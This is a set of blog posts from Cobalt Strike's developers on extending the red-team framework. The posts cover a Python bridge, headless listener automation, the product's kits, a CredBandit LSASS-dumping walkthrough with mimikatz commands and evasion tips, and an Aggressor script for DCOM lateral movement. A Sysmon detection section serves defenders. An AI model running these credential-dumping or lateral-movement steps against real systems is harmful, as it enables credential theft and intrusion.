Scripting Archives - Cobalt Strike Research and Development

Cobalt Strike Sleep Python Bridge

This project started after seeing how the user community tweaks and tunes Cobalt Strike. I was inspired by @BinaryFaultline and @Mcgigglez16 in their project and blog post They created a clever way to interact with a teamserver without the GUI.

Before I get too far, I’ll touch on Aggressor scripting and the Sleep language. Remember that Cobalt Strike is a framework and is extensible by design using the Aggressor script language. It allows users to modify or control the framework with a script that is loaded through the GUI or headless client. Aggressor provides a great deal of flexibility, but the Sleep language at the heart of Aggressor is how these extensions must be written.

What is this Sleep-Python Bridge?

This project is an experiment on extending Cobalt Strike with python instead of Aggressor or Sleep.

This project is very much in BETA. The goal is to provide a playground for testing and is in no way an officially supported feature. Perhaps this could be something added in the future to the core product.

How does this work?

The heart of this bridge is a python implementation of a headless Cobalt Strike client. This is achieved by using the Aggressor Script Console, provided by agscript, as the engine. Agscript allows for headless interaction with Cobalt Strike. The “bridge” works by using python helper functions in to generate the needed Sleep commands expected by the agscript console. Instead of writing the Sleep functions, provides helper functions that abstract Sleep and allows the use of python. In other words, this is a python wrapper to the console provided by agscript.

Notable changes from the original project

Because the PayloadAutomation project inspired this, it started with much of the same code, but I wanted to tweak to use the components needed to act as an agscript wrapper. This included:

  • Renaming from Payload_Automation to sleep_python_bridge. This project is more than payload generation.
  • Changing from a PyPI library to local modules. This was done for testing and may be a good candidate for a python library after extensive testing.
  • Updating and adding helpers to match Aggressor versions.
  • Adding ability to load external script.

What can you do with this “bridge?”

In short, anything you can do with Aggressor, you can do with this bridge via python: extract data, make operation decisions, automate beacon tasks, etc.

The best way to show what can be done is with a few examples.


Log Tracker

Beacon logs are available at runtime in a teamserver or through the Beacon log files saved on the teamserver. The data is always there, but may not be presented in a way you would like. This is an example of log tracker that uses an HTML data grid to quickly view Beacon logs. is a script that connects to a teamserver, extracts the running Beacon logs every 30 seconds, saves to beaconlogs.json, and displays in a searchable and sortable HTML data grid.

Beacon logs are always saved to the logs directory, but this is an alternate way to track the in memory logs with an alternate viewer. If the teamserver is restarted the in-memory logs are lost and you must refer to the logs stored in the logs directory on the teamserver. This script keeps in-memory logs synced to the file beaconlogs.json. This way you have a quick and easy way to visualize all data without digging through the logs directory even if Cobalt Strike is restarted.

Start the script by having it connect to your teamserver to sync logs every 30 seconds:

Although the GUI is not needed, you can see the client logged on and that it provides feedback as it collects logs:

Log tracker event logs

Video Demo

This demo shows the HTML data grid view. It uses the beaconlogs.json file created by the log tracker script as its data source. The data grid allows for quick sorting or filtering or Beacon logs. The output from long commands is truncated and can be expanded. This could be a nice alternate view for a Red Team operator or a Red Team lead.

Demo of the HTML log viewer

Payload Generator

A feature often requested by Red Team operators is the ability to create payloads programmatically without the need for the Cobalt Strike GUI. The project referenced at the beginning of the blog did this with a payload generator. This was great, but there is a unique challenge. Aggressor provides several hooks to influence how a payload is built. These hooks are used by the various kits (i.e., artifact kit, sleep mask kit, or UDRL kit). They are normally used by loading an Aggressor Script through the GUI. This project was extended to allow the loading of external scripts. Without this, using this payload hooks would be difficult. This code could easily be extended to pass the payloads to external functions to add custom obfuscation, embed in a customer loader, or any other modification.

The payload generator script connects to the teamserver, loads the additional scripts, and creates payloads.

Using the event log for output, the payload generator script displays its progress as it loads the various scripts.

Event log output

To keep this somewhat modular, the payload generator script uses a base payload_scripts.cna file as a script loader. This points to all the modules that should be loaded.

payload_scripts.cna used as an ‘init’ script to load other modules

Beacon Grapher

The script connects to a teamserver, extracts Beacon metadata, and creates a JSON file that is used to display a javascript directed graph. The connection and extraction of data is functional, but the directed graph is a simple example. It could be refined to be more useful in a production environment.

The Beacon grapher script connects to the teamserver and extracts the Beacon metadata as a python object to save to JSON.

Here’s an HTML directed graph view of the Beacon log:

directed graph view of beacons

Video Demo

Demo of the beacon graph

What next?

Take a look at the project on GitHub.

I’m providing this as an idea. Feel free to take this and expand upon it. I only ask the your share your work or ideas. Perhaps we can make this an official part of the product at some point in the future.

Thanks to the Community

I want to give a thanks to the Cobalt Strike Community for all the great work and ideas with a special thanks to @BinaryFaultline and @Mcgigglez16 on their work in the project, Payload Automation –

Introducing Mimikatz Kit

You can now update Mimikatz between Cobalt Strike releases. Updates will periodically be made available to licensed users via the Arsenal as the Mimikatz Kit.


  • Download and extract the .tgz from the Arsenal (Note: The version uses the Mimikatz release version naming (i.e.,
  • Load the mimikatz.cna aggressor script
  • Use mimikatz functions as normal

Using a mimikatz command will show output in the Script Console indicating a custom version is being used.




CredBandit (In memory BOF MiniDump) – Tool review – Part 1

One of the things I find fascinating about being on the Cobalt Strike team is the community. It is amazing to see how people overcome unique challenges and push the tool in directions never considered. I want explore this with CredBandit ( This tool has had updates since I started exploring. I’m specifically, looking at this version for this blog post.

In part 2, I ‘ll explore the latest version and how it uses an “undocumented” feature to solve the challenges discussed in this post.

Per the author:

CredBandit is a proof of concept Beacon Object File (BOF) that uses static x64 syscalls to perform a complete in memory dump of a process and send that back through your already existing Beacon communication channel. The memory dump is done by using NTFS transactions, which allows us to write the dump to memory. Additionally, the MiniDumpWriteDump API has been replaced with an adaptation of ReactOS’s implementation of MiniDumpWriteDump.
When you dig into this tool,  you will see that CredBandit is “just another minidump tool.” This is true, but there are some interesting approaches to this.
My interest in CredBandit is less from the minidump implementation but the “duct tape engineering” used to bend Beacon to anthemtotheego‘s will.

CredBandit uses an unconventional way of transferring in memory data through Beacon by overloading the BEACON_OUTPUT aggressor function to handle data sent from BeaconPrintf() function.

There are other interesting aspects to this project, namely:

    • Beacon Object File (BOF) using direct syscalls
    • In memory storage of data (The dump does not need to be written to disk)
    • ReactOS implementation of MiniDumpWriteDump
You can read more about the minidump technique here (T1003-001) or here (Dump credentials from lsass without mimikatz).

Note on the Defense Perspective

Although the focus on this post is to highlight an interesting way to bend Cobalt Strike to a user’s will, it does cover a credential dumping technique. Understanding detection opportunities of techniques vs. tools is an important concept in security operations. It can be helpful to highlight both the offense capabilities and defense opportunities of a technique. I’ve invited Jonny Johnson ( to add context to the detection story of this technique, seen below in the Detection Opportunities section.

Quick Start

Warning: BOFs run in Beacon’s memory. If they crash, Beacon crashes. The stability of this BOF may not be 100% reliable. Beacons may die. It’s something to consider if you choose to use this or any other BOF.

CredBandit is easy to use, but don’t that fool you into thinking it isn’t a clever approach to creating a minidump. All the hard work has been done, and you only need a few commands to use it.

The basic process is as follows:

  1. Clone the project:
  2. Compile CredBandit to a BOF
  3. Load the aggressor script in Cobalt Strike
  4. Launch a beacon running in context with the necessary permissions (i.e., high integrity process running as administrator)
  5. Locate the PID of LSASS
  6. Run CredBandit
  7. Wait …. 🙂
  8. Convert the CredBandit output into a usable dump
  9. Use Mimikatz to extract information from the dump

Consult the readme for details.

Let’s See This in Action

Load the aggressor script from the Cobalt Strike manager

Get the PID of LSASS

Interact with a beacon running with the permissions needed to dump LSASS memory and get the PID of LSASS.

An output of PS gives us a PID of 656.

Run CredBandit to capture the minidump of LSASS

Loading the MiniDumpWriteDump.cna aggressor script added the command credBandit to Beacon.

Running help shows we only need the PID of LSASS to use the command credBandit.

This will take time. Beacon may appear to be unresponsive, but it is processing the minidump and sending back chunks of data by hijacking the BeaconPrintf function. In this example, over 80mb in data must be transferred.

Once the Dump is complete, Beacon should return to normal. A word of caution: I had a few Beacons die after the process completed. The data was successfully transferred, but the Beacon process died. This could be due to the BOF being functional but missing error handling, but I did not investigate.

NOTE: The CredBandit aggressor script, MiniDumpWriteDump.cna, changed the behavior of BEACON_OUTPUT. This can cause other functions to fail. You should unload the script and restart the Cobalt Strike client or use RevertMiniDumpWriteDump.cna to reverse the changes.

Convert the extracted data to a usable format

The file dumpFile.txt is created in the cobaltstrike directory. This file is the result generated by  “highjacking” the BEACON_OUTPUT function to write the received chunks of data from the BeaconPrintf function.

Run the command to convert this file back into something useful:


You will now have two new files in the cobaltstrike directory: .dmp and .txt.

The .txt is a backup of the original dumpFile.txt.

The .dmp is the minidump file of LSASS.

Use Mimikatz to extract information from the dump

At this point, we are done with CredBandit. It provided the dump of LSASS. We can now use Mimikatz offline to extract information.

You can use something like the following commands:

mimikatz # sekurlsa::minidump c:\payloads\credBandit\lsass.dmp
mimikatz # sekurlsa::logonPasswords

BTW, dontstealmypassword


Here is a quick demo of the tool.

Breaking down the key concepts

Beacon Object File (BOF) using direct syscalls

Direct syscalls can provide a way of avoiding API hooking from security tools by avoiding the need for calling these APIs.

CredBandit uses much of work done by Outflank on using Syscall in Beacon Object Files. I won’t spend time on this but here are great resources:

In memory storage of data

The minidump output is stored in Beacon’s memory vs. being written to disk. This is based on using a minidump implementation that uses NTFS transactions to write to memory:

ReactOS implementation of MiniDumpWriteDump

MiniDumpWriteDump API is replaced with an adaptation of ReactOS’s implementation of MiniDumpWriteDump:

Unconventional way of transferring in memory data through Beacon via overloaded BeaconPrintf() function

This is what I find most interesting about this project. In short, the BEACON_OUTPUT aggressor function is used to send the base64 encode dump it receives as chunks from BeaconPrintf. These chunks are written to a file that can be cleaned up and decoded.

How does this hack work? It’s clever and simple. The BOF uses the BeaconPrintf function to send chunks of the base64 encoded minidump file to the teamserver. This data is captured and written to a file on disk.

The following is an example of the output file:

received output:
received output:
received output:
received output:

This minidump file is rebuilt using the script Credential material can be extracted using Mimikatz.

 Adjusting the Technique

The heart of this technique is based on accessing and dumping LSASS. Instead of using the suspicious activity of payload.exe accessing lsass.exe, you could find a process that regularly accesses LSASS, inject into that process, and perform your dump.

The BOF ( may help you locate a process that has a handle to lsass.exe using similar OPSEC as CredBandit by using a BOF and direct systems calls. FindObjects-BOF is “A Cobalt Strike Beacon Object File (BOF) project which uses direct system calls to enumerate processes for specific modules or process handles.

Give it a try!

Detection Opportunities

Although the focus on this post was to highlight an interesting way to bend Cobalt Strike to a user’s will, it does cover a credential dumping technique. Understanding detection opportunities of techniques vs. tools is an important concept in detection engineering. I’ve invited Jonny Johnson ( to provide context to the detection story of this technique.

Jonny’s detection note are in the left column, and I hae added my take in the right.

Detection Story by Jonny Joe’s comments
Before we can start creating our detection we must identify what is the main action of this whole chain – opening a handle to LSASS. That will be the core of this detection. If we detect on the tool or code specifically, then we lose detection visibility once someone creates another code that uses different functions. By focusing on the technique’s core behavior, we prevent manually creating a gap in our detection strategy. For this piece I am going to leverage Sysmon Event ID: 10 – Process Accessed. This event allows me to see the source process that was requesting access to the target process, the target process, the granted access rights (explained in a moment), along with both the source process GUID and target process GUID.

Sysmon Event ID 10 fires when OpenProcess is called, and because Sysmon is a kernel driver, it has insight into OpenProcess in both user-mode and kernel-mode. This particular implementation uses a syscall for NtOpenProcess within ntdll.dll, which is the Native API version of the Win32 API OpenProcess.

How is this useful?

Within the NtOpenProcess documentation, there is a parameter called DesiredAccess.This correlates to the ACCESS_MASK type, which is a bitmask. This access is typically defined by the function that wants to obtain a handle to a process. OpenProcess acts as a middle man between the function call and the target process. The function in this instance is MiniDumpWriteDump. Although ReactOS’s implementation of MiniDumpWriteDump is being used, we are still dealing with Windows securable objects (e.g. processes and files). Due to this, we must follow Windows built-in rules for these objects. Also, ReactOS’s MiniDumpWriteDump is using the exact same parameters as Microsoft’s MiniDumpWriteDump API.

Don’t overemphasize tools. Fundamentally, this technique is based on the detection a process accessing LSASS.

ReactOS’s MiniDumpWriteDump is using the exact same parameters as Microsoft’s MiniDumpWriteDump API.” It is important to focus on the technique’s primitives. There can be multiple implementations by different tools but the technique can often be broken down in to primitives.

Within Microsoft’s documentation, we can see that if MiniDumpWriteDump wants to obtain a handle to a process, it must have PROCESS_QUERY_IMFORMATION & PROCESS_VM_READ access to that process, which we can see is requested in the CredBandit source code below:

However, this still isn’t the minimum rights that a process needs to perform this action on another process. After reading Microsoft’s Process Security and Access Rights we can see that anytime a process is granted PROCESS_QUERY_IMFORMATION, it is automatically granted PROCESS_QUERY_LIMITED_IMFORMATION. This has a hex value of 0x1410 (this will be used in the analytic later).

Next, we want to see the file created via NtCreateTransacted. Sysmon uses a minifilter driver to monitor file system’s stacks indirectly, so it has insight into files being written to disk or a phantom file. One thing we have to be careful with is that we don’t know the extension the actor might have for the dump file. Bottom line: this is attacker-controlled and if we specify this into our analytic we risk creating a blind spot, which can lead to an analytical bypass.

Lastly, a little icing on the cake would be to add a process creation event to this analytic as it would just provide context around which user was leveraged for this activity.

Data Sources/Events:

User Rights:

Process Access:

File Creation:

  • Sysmon Event ID 11

Process Creation:

A detection strategy hypothesis should account for potential blind spots. Blind spots are not bad, but should be identified.


The following analytics are not meant to be copy and paste, but more of the beginning of detection for your environment. If you only look for the access rights 0x1410, then you will create a blind spot if an actor uses ReadProcessMemory to dump LSASS. Ideally, multiple detections would be made for dumping LSASS so that blind spots could be covered along the way.

Sysmon EID 10 Process Access

Regarding Detection:

Multiple combinations of access rights may be requested based on the implementation. Focus on a query to cover minimal rights needed. This will reduce blind spots based on a specific implementation.

Regarding OPSEC:

Notice that payload.exe is accessing lsass.exe. This is due to this implementation as a BOF running directly under the context of Beacon.

BOF and syscalls can be great, but maintain OPSEC awareness.

Sysmon EID 10 & EID 11

Sysmon EID 10, 11, & 1

Detection Summary

When writing a detection the first thing I do is identify the capabilities that a tool and/or technique has. This helps me narrow in on a scope. A piece of code could be implementing 3-4 techniques. When this happens, I separate these techniques and look into them separately. This allows me to create a detection strategy per capability.
When the capability is identified and the components being used are highlighted, proper scoping can be applied. We can see a commonality between this implementation and many others. That commonality is MiniDumpWriteDump and the access rights needed for that function call. This is the foundation of our detection or base condition. However, this could be evaded if an actor uses ReadProcessMemory because there are a different set of minimum access rights needed. A separate detection would need to be created for this function. This is ideal as it applies an overlap of our detection to cover the blind spots that are related to a technique.
Pulling attributes like file creation and process creation are contextual attributes that can be applied back to the core detection (MiniDump). The detection shouldn’t rely on these attributes because they are not guaranteed to be present.

Cobalt Strike is not inherently malicious. It is simply a way for someone to implement an action. The intent behind that action is what determines a classification of malicious or benign. Consequently, I don’t focus on Cobalt Strike specific signatures, I look at the behavior/technique being implemented.

I like how Palantir outlines a method for documenting detection strategies using their Alerting and Detection Strategy Framework (ADS).
Jonny Johnson (

Thanks to  for creating this tool.

Stay tuned for part 2 where I ‘ll talk about how the latest version uses an “undocumented” feature to download the minidump file instead of hijacking the BEACON_OUTPUT function.


Wait?!?! This post highlighted the need to ‘hack’ Cobalt Strike because of a lack of features.  Why isn’t this part of the toolset?

Cobalt Strike is a framework. It is meant to be tuned to fit a user’s need. Projects like this help expose areas that can be improved. This helps the team add new features, update documentation, or provide examples.


Detection References:

New home for Cobalt Strike malleable c2 profiles and scripts

The Cobalt Strike references (malleable c2 profiles, scripts, Elevate Kit, etc.) have been consolidated under a new GitHub account.

We understand that many blog posts (and even our documentation) have references to the original links. The original links will be available for the time being but may not be in the future.

Update your references to use the new repositories. All future updates will be made under the new account.

Create listeners with an aggressor script – listener_create_ext

This short post is a follow up to the post “Manage Cobalt Strike with Services” where I described a method to automate Cobalt Strike teamservers by creating services.

In this post, I will take a closer look at the aggressor function that is used to create listeners listener_create_ext to expanded on the documentation and provide an example.

The documentation shows three arguments. Let’s focus on $3, the key/value pairs. The key/values control the settings used to setup a listener.

From the Documentation


Create a new listener.


$1 - the listener name
$2 - the payload (e.g., windows/beacon_http/reverse_http)
$3 - a map with key/value pairs that specify options for the listener

Let’s break down the options with an aggressor script that creates an HTTP listener. I formatted the script to be easier to read and added comments to provide a bit of guidance.

    "HTTP",                             # Listener name, use something unique across all teamservers (i.e., server1-http)
    "windows/beacon_http/reverse_http", # Listener type, remember, payloads are driven by listeners
    %(host => "",             # Staging host, Only one staging host can be set
        profile => "default",           # The profile variant name, variants are set in the malleable c2 profile
        port => 80,                     # Port for c2 communications
        beacons => ",",   # Comma separated list of beacon hosts
        althost => "",          # host header value
        bindto => 8080,                 # The port HTTP Beacon payload web server will bind to.
        strategy => "failover-5x",      # Host rotation strategy aka fail strategy
        proxy => "http://user:[email protected]:8080" # Proxy host settings 

This aggressor script will create a listener that looks like this in the GUI.




Manage Cobalt Strike with Services

This post is part of a “Quality of Life” series, where tips and tricks will be shared to make using Cobalt Stike easier. 

Cobalt Strike is a post-exploitation framework and requires customization to meet your specific needs. This flexibility is one of the most powerful features of Cobalt Strike. While this is great, some may find it challenging to quickly set up a teamserver. Even if you are only conducting quick tests, consider building an automated deployment process using something as simple as a bash script or something more complex like a DevOps process based on tools like Ansible or Terraform. 

This post covers the aspect of considering adding to a deployment process to enhance teamserver automation. It does not cover complete infrastructure design. Several people in the security community have posted excellent design guidance.

Teamserver and Listener Automation

This post explores the automation of:

  • auto-starting teamserver using a random custom malleable c2 profile
  • creating listeners using a headless aggressor script

This process needs three files:

  • teamserver.service (controls the teamserver as a Linux service)
  • listener. service (controls the auto-creation of listeners as a Linux service)
  • listener_service.cna (aggressor script that specifies the parameters for the listeners)

These templates can be found here:



I’ll summarize the steps here, but you should integrate these steps into an infrastructure deployment plan in actual practice. I demo the results of a practical example at the end of the post. 

Note: These scripts have been tested on Ubuntu server and may need to be adjusted based on your actual use case.

  • Update the service files to match your environment.
    • teamserver.service
    • listener.service
    • listener_service.cna
  • Copy the service files to your teamserver host
    • /etc/systemd/system/teamserver.service
    • /etc/systemd/system/listener.service
    • /opt/cobaltstrike/listener_service.cna
  • Register the new services
    • systemclt daemon-reload
  • Start the services
    • systemctl start teamserver.service
    • systemctl start listener.service
  • Test that everything works

Step Details

Note: The following steps show the details, but should broken down into deployment steps (ansible, terraform, etc.) that fit your own process.

1) Update the Teamserver Service Configuration File

This file is used to configure teamserver as a Linux service.

Use the template below as a starting point. Update the settings to match your environment and save it to a temporary location. (I’m using /tmp for this demo)

Specifically, you should update: 

  • WorkingDirectory: Set to the cobaltstrike directory
  • ExecStart: Set with your teamserver parameters

# teamserver.service

Description=Cobalt Strike Teamserver Service

ExecStart=/opt/cobaltstrike/teamserver <TEAMSERVER IP> <PASSWORD> <PATH TO C2 PROFILE>

# Example
# ExecStart=/opt/cobaltstrike/teamserver `hostname -I` thisismypassword /opt/cobaltstrike/c2.profile



The malleable c2 profile can be any you create. I like to use randomly generated profiles for quick tests.

2) Update the Listener Service Configuration File

The listener service uses agscript to run a headless aggressor script as a service. If you are not familiar with agscript, take a look at “Headless Cobalt Strike” in the manual

Use the template below as a starting point. Update the settings to match your environment and save them to a temporary location. (I’m using /tmp for this demo)

Specifically, you should update:

  • WorkingDirectory: Set to the cobaltstrike directory
  • ExecStart: Set with the values you need to run the agscript
# listener.service
Description=Cobalt Strike aggressor service

ExecStartPre=/bin/sleep 60
ExecStart=/bin/bash /opt/cobaltstrike/agscript <TEAMSERVER IP> <TEAMSERVER PORT> <USER to LOGON TO COBALTSTRIKE> <TEAMSERVER PASSWORD> <PATH TO listener_service.cna>
# Example
# ExecStart=/bin/bash /opt/cobaltstrike/agscript 50050 listener_service thisismypassword /opt/cobaltstrike/listener_service.cna


Headless Aggressor Script

This example aggressor script is used to create and start an HTTP, HTTPS, and SMB listener with all the needed parameters. It is a regular aggressor script and can be loaded manually through the Cobalt Strike client or run headless using agscript. 

Use the template below as a starting point. Update the settings to match your environment and save them to a temporary location. (I’m using /tmp for this demo)

The script uses the listener_create_ext function. Take a look at the support documentation for additional options.

At a minimum, change the following to match your environment.

  • HTTP Listener
    • listener name
    • host
    • althost
  • HTTPS Listener
    • listener name
    • host
    • althost
  • SMB Listener
    • listener name
    • port
 CobaltStrike Aggressor Script          
 Author: Joe Vest
 Description: Headless script to create listeners

println('listener_service.cna: Loading listener_service.cna...');

on ready{
    println('listener_service.cna: Creating HTTP Listener...');
    listener_create_ext("HTTP", "windows/beacon_http/reverse_http", %(host => "", port => 80, beacons => "", althost => "", bindto => 80));

    println('listener_service.cna: Creating HTTPS Listener...');
    listener_create_ext("HTTPS", "windows/beacon_https/reverse_https", %(host => "", port => 443, beacons => "", althost => "", bindto => 443));
    println('listener_service.cna: Creating SMB Listener...');
    listener_create_ext("SMB", "windows/beacon_bind_pipe", %(port => "mojo.5887.8051.34782273429370473##"));



Copy the Files to the Appropriate Location

sudo cp /tmp/teamserver.service /etc/systemd/system/teamserver.service
sudo cp /tmp/listener.service /etc/systemd/system/listener.service
sudo cp /tmp/listener_service.cna /opt/cobaltstrike/listener_service.cna

Register and Start the New Services

sudo systemclt daemon-reload
sudo systemctl start teamserver.service
sudo systemctl start listener.service

Test to Make Sure Everything is Working as Expected

Teamserver should be running, and the script should have created the listeners. If so, test a few payloads and commands to make sure everything works as expected.

Consider Adding this Process to an Infrastructure Deployment Process

These manual steps and templates provide a means to automate some of the Cobalt Strike but can be enhanced further through a more formal process.

For example, I do this in a couple of ways:

  • I use simple bash scripts and the AWS CLI to deploy and configure a test environment.
  • I create ansible roles to automate the deployment and configuration of a teamserver as part of a larger deployment script.

Demonstrating a Practical Example

In this demo, I show how I fully automate the deployment and configuration of the range I used for quick realistic testing to AWS LightSail. The deployment is fully automated and includes settings to protect the teamserver from direct public access. 


Range Highlights

The script results in a small test range that follows this traffic pattern

  1. Beacon reaches out to a valid Cloud front redirector. These cloud redirectors are really just HTTP proxies. (
  2. Traffic is redirected to the Apache redirector. (again, just another HTTP proxy that applies our logic)
  3. Apache forwards the HTTP to the teamserver.

Services Running

The agscript user logon event (listener_service) can be seen in the Event Log.

The listeners are automatically created based on the service settings.



Interested in Trying Cobalt Strike?


Kits, Profiles, and Scripts… Oh my!

If I had to describe Cobalt Strike in one word, I’d say ‘flexible’. There are a lot of options to control Cobalt Strike’s features and indicators. In this post, I’ll introduce these options, explain the rationale for each, and point you to resources to explore them further.

Aggressor Script

Aggressor Script is Cobalt Strike’s built-in scripting language. It is the preferred way to add features to Cobalt Strike, override existing behaviors (kits take advantage of this), and automate your engagements.

Several public scripts add new workflows and features to Cobalt Strike. For example, CACTUS TORCH adds user-driven attack options to Cobalt Strike with x64 and stageless variations too. Tyler Rosonke wrote a script to add persistence options for Beacon.

Cobalt Strike also ships with a headless client, agscript, that connects to a team server and hosts an Aggressor Script for you. This client is designed for long-running bots. Common uses of headless Aggressor Scripts is to force DNS beacons to “check in” or notify an operator, via a text or email, that they have a new session.

If you’d like to dig deeper into Aggressor Script, jump over to the Aggressor Script documentation. I also regularly post Aggressor Script snippets as Github gists. Finally, Lee Kagan has created an Aggressor Scripts Collection that aggregates many of the publicly available scripts into one place.

Applet Kit

A kit is source code to a Cobalt Strike feature coupled with a script that forces Cobalt Strike to use your implementation over the built-in one. Kits give you control over the artifacts and processes that deliver the beacon payload.

The concept of kits in Cobalt Strike came out of necessity.

For a long time, Java Signed Applets and Java Applet exploits were a staple client-side attack option. In January 2013, I implemented Cobalt Strike-native versions of these attacks. The Smart Applet attack bundled several Java exploits into one package. The Java Signed Applet attack hosted a self-signed Java applet on Cobalt Strike’s web server. If a vistor let the applet run, it’d result in code execution for the attacker.

While the above options were great, at the time, my users needed an option to modify these attacks to evade detection. This is where the Applet Kit came in. The Applet Kit is the source code to Cobalt Strike’s Java Applet attacks. Included with the Applet Kit is an applet.cna script. When you load this script, Cobalt Strike uses your applet attacks instead of its built-in options.

The Applet Kit is available from the Cobalt Strike arsenal. This is a one-page site available to licensed Cobalt Strike users. Go to Help -> Arsenal from Cobalt Strike to reach it.

As Java in the browser became more constrained, Cobalt Strike users would often sign the built-in Java Signed Applet attack with their code-signing certificate. The use of a valid code-signing certificate kept this attack alive past its expected expiration date.

Artifact Kit

Introduced in January 2014, the Artifact Kit controls Cobalt Strike’s process to generate executable and DLL files.

The contract of the Artifact Kit is simple. Cobalt Strike provides shellcode and meta-information to a scripted function. The scripted function is responsible for returning an executable or DLL that runs that shellcode.

The Artifact Kit is also available from the Cobalt Strike arsenal. The arsenal hosts my implementation of the default artifacts in Cobalt Strike. A few variations are available in the Artifact Kit distribution as well.

To use the Artifact Kit: download the default implementation, make changes, build it, and load the artifact.cna script that registers itself to handle executable and DLL file requests in your Cobalt Strike.

Resource Kit

Many Cobalt Strike attacks and workflows take advantage of PowerShell, Python, and VBA scripts to get the job done. The Resource Kit controls the PowerShell, Python, and VBA script templates in Cobalt Strike.

Again, the contract here is simple. Cobalt Strike provides a registered script with shellcode, meta-information, and a description of what it wants. The registered script returns a script that executes the shellcode.

The Resource Kit is also available in the Cobalt Strike Arsenal.

Many Cobalt Strike users combine the Resource Kit with Invoke-Obfuscation to make Cobalt Strike’s PowerShell scripts much less obvious.

Elevate Kit

It’s a goal of Cobalt Strike to make it easy to combine your team’s “secret sauce” with the toolset. One spot where this comes together well is privilege escalation. Aggressor Script exposes APIs that allow scripts to register privilege escalation exploits with Beacon’s elevate command and Elevate Privileges dialog.

The Elevate Kit is a collection of public privilege escalation exploits integrated with Cobalt Strike via these APIs. The Elevate Kit demonstrates how to integrate Reflective DLL implementations of privilege escalation attacks from the Metasploit Framework. It also shows how to repurpose attack POCs implemented in PowerShell as well.

The Elevate Kit is hosted on Github. Load the elevate.cna script and you’re ready to go. Don’t be afraid to extend or add to the Elevate Kit. It’s pretty easy. During a recent cyber exercise, I was able to recompile a POC from Github as a Reflective DLL and fire it with Cobalt Strike. The entire process took less than 30 minutes.

Custom Reports

Cobalt Strike’s built-in reports are designed to convey red team activities and indicators to a blue team training audience. While the built-in reports are serviceable, it’s not well-known that you can write custom reports for Cobalt Strike too.

The Aggressor Script documentation covers Custom Reports and hosts the source code for the built-in reports too.

I’ve used this feature to generate variations of Cobalt Strike’s built-in reports, split up by IP address ranges, to give tailored information to the blue teams at a large cyber defense exercise.

External C2

I’ve had quite a few requests for third-party command and control options with Cobalt Strike’s Beacon payload. The External C2 specification (November 2016) was my answer to these requests.

External C2 documents how to control Beacon over a named pipe and provides a TCP/IP interface to configure an SMB Beacon stage, receive it, and relay traffic between the SMB Beacon and Cobalt Strike. How this traffic is transported and relayed is up to your imagination.

I never announced External C2 as a feature. I wrote the specification, implemented it, and distributed it to customers who requested this feature. I wanted to see what (if anything) these users would do with the specification.

The fine folks at Outflank B.V. were the first, that I know of, to build and use an external C2 with Cobalt Strike. They contacted me to share the success story from one of their engagements. They also asked if (and when), they could publish a blog post to share their code and document the feature. This led to the Cobalt Strike over external C2 – beacon home in the most obscure ways post on their blog. Their External C2 uses a corporate file server as a dead drop for communication between a hard-to-reach target and their Beacon controller. Their external_c2 source code is on Github too.

Shortly after Outflank’s post, MWR Labs posted their thoughts on External C2 and demonstrated a POC to control Beacon via Office 365 Tasks. In both cases, I’m very impressed and I find these first results encouraging. Needless to say, even though it’s not announced, the External C2 specification is public and is implemented as-described in Cobalt Strike today.

Malleable C2 Profiles

Malleable C2 profiles control the indicators and behaviors in the Beacon payload and its stagers. I consider Malleable C2 the most important technology in Cobalt Strike today.

I introduced Malleable C2 as part of Cobalt Strike 2.0 (July 2014). The first release of Malleable C2 controlled the indicators in Beacon’s HTTP communication. Malleable C2 made it possible to use Beacon, but look like the havex trojan or something completely innocuous.

Today, Malleable C2 isn’t just network traffic. Malleable C2 profiles control which SSL certificate Cobalt Strike uses. Profiles also specify the code-signing certificate used to sign executables and DLLs. Malleable C2 profiles have options to influence Beacon’s memory indicators too.

I very much intended Malleable C2 as a threat emulation technology, but it’s much more than that. I didn’t imagine domain fronting when I added Malleable C2 to Cobalt Strike. Yet, when this technique became known, Cobalt Strike was a go-to platform to take advantage of it. Today, I heard about a customer using the string replace feature (for Beacon’s stage) to alter how Beacon runs PowerShell scripts. Again, I wouldn’t have thought of that.

The Malleable C2 Profiles Github repository has several example profiles to start with. You can use one of these, but the barrier to making your own “never seen” profile is very low. I recommend reading the Malleable C2 documentation as well.

Closing Thoughts

Today, there are few things in Cobalt Strike that users don’t have direct control over. Through these tools you may add to Cobalt Strike’s features, modify behaviors that get in your way, change the files that deliver the Beacon payload, and edit the product’s indicators. As red team needs and tradecraft evolve, this flexibility is how Cobalt Strike keeps pace.

Scripting Matt Nelson’s MMC20.Application Lateral Movement Technique

This is a short blog post with a long title. A few weeks ago, Matt Nelson published Lateral Movement Using the MMC20.APPLICATION COM Object (there’s a Part 2 as well!). The post documents an option, beyond the usual suspects (e.g., services, scheduled tasks, wmi, etc.), to ask a remote system to run a process for you.

Matt Nelson’s technique calls the ExecuteShellCommand method of the MMC20.Application COM object. One of the features of COM is its ability to remotely instantiate objects and call methods on them. By calling this method remotely, we can make the target system run a command to load our agent into memory or weaken the target’s configuration for other post-exploitation options.

In this post, I will show you how to add this technique to Cobalt Strike with Aggressor Script. Aggressor Script is Cobalt Strike’s scripting language to extend the Cobalt Strike client and add bots to your engagement. Making it easy to quickly add and use new TTPs from Cobalt Strike is very much one of Aggressor Script’s goals.

Here’s a script that adds a com-exec command to Beacon. This scripted command is similar to Beacon’s existing psexec, psexec_psh, wmi, and winrm commands for lateral movement.

# Lateral Movement alias

# register help for our alias
beacon_command_register("com-exec", "lateral movement with DCOM",
"Synopsis: com-exec [target] [listener]\n\n" .
"Run a payload on a target via DCOM MMC20.Application Object");

# here's our alias to collect our arguments
alias com-exec {
if ($3 is $null) {
# let the user choose a listener
com_exec_go($bid, $target, $1);
}, $bid =&amp;amp;gt; $1, $target =&amp;amp;gt; $2));
else {
# we have the needed arguments, pass them
com_exec_go($1, $2, $3);

# this is the implementation of the attack
sub com_exec_go {
local('$command $script $oneliner');

# check if our listener exists
if (listener_info($3) is $null) {
berror($1, "Listener $3 does not exist");

# state what we're doing.
btask($1, "Tasked Beacon to jump to $2 (" . listener_describe($3, $2) . ") via DCOM");

# generate a PowerShell one-liner to run our alias
$command = powershell($3, true, "x86");

# remove "powershell.exe " from our command
$command = strrep($command, "powershell.exe ", "");

# build script that uses DCOM to invoke ExecuteShellCommand on MMC20.Application object
$script  = '[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "';
$script .= $2;
$script .=  '")).Document.ActiveView.ExecuteShellCommand("';
$script .= 'c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe';
$script .= '", $null, "';
$script .= $command;
